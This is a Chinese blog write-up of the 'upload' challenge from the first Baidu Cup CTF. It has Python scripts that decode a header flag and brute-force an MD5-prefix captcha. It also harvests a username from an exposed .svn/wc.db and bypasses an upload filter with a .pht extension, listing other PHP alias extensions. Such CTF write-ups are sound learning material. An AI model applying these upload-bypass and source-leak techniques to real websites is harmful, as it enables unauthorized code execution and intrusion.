iloveflag-blog

第一届百度杯 upload

字数统计: 273阅读时长: 1 min
2018/09/23 Share

做了安恒月赛后深受打击,要做点题提高一下
观察respond包里面有个base64加密的flag

手速要快,肯定是要脚本了:

1
2
3
4
5
6
7
8
9
10
11
12
import requests,base64
url="http://d14acf28eaad4509867c8e946fb41af8f417e367a8d847ec.game.ichunqiu.com/"
a=requests.session()
r=a.get(url)
flag=base64.b64decode(r.headers['flag'])
flag1=str(flag).split(':')[1]
flag2=base64.b64decode(flag1)
payload={
'ichunqiu':flag2
}
r1=a.post(url,data=payload)
print(r1.text)

返回一个path:

Path:3712901a08bb58557943ca31f3487b7d

打开后叫你输入username和password还有验证码

username在.svn/wc.db(svn泄露)

验证码:substr(md5(captcha), 0, 6)=f53542

脚本去跑

由于MD5模块在python3中被移除
在python3中使用hashlib模块进行md5操作

1
2
3
4
5
6
7
8
9
10
11
12
13
import hashlib

for i in range(99999999):
i=str(i)
# 创建md5对象
hl = hashlib.md5()

# Tips
# 此处必须声明encode
# 若写法为hl.update(str) 报错为: Unicode-objects must be encoded before hashing
hl.update(i.encode(encoding='utf-8'))
if((hl.hexdigest()[:6])=='4ddf15'):
print(i)

password随便写

弹出一个图片上传的地址

上传一个图片,后缀改为pht,弹出flag

Tip:php的别名:php2, php3, php4, php5, phps, pht, phtm, phtml

CATALOG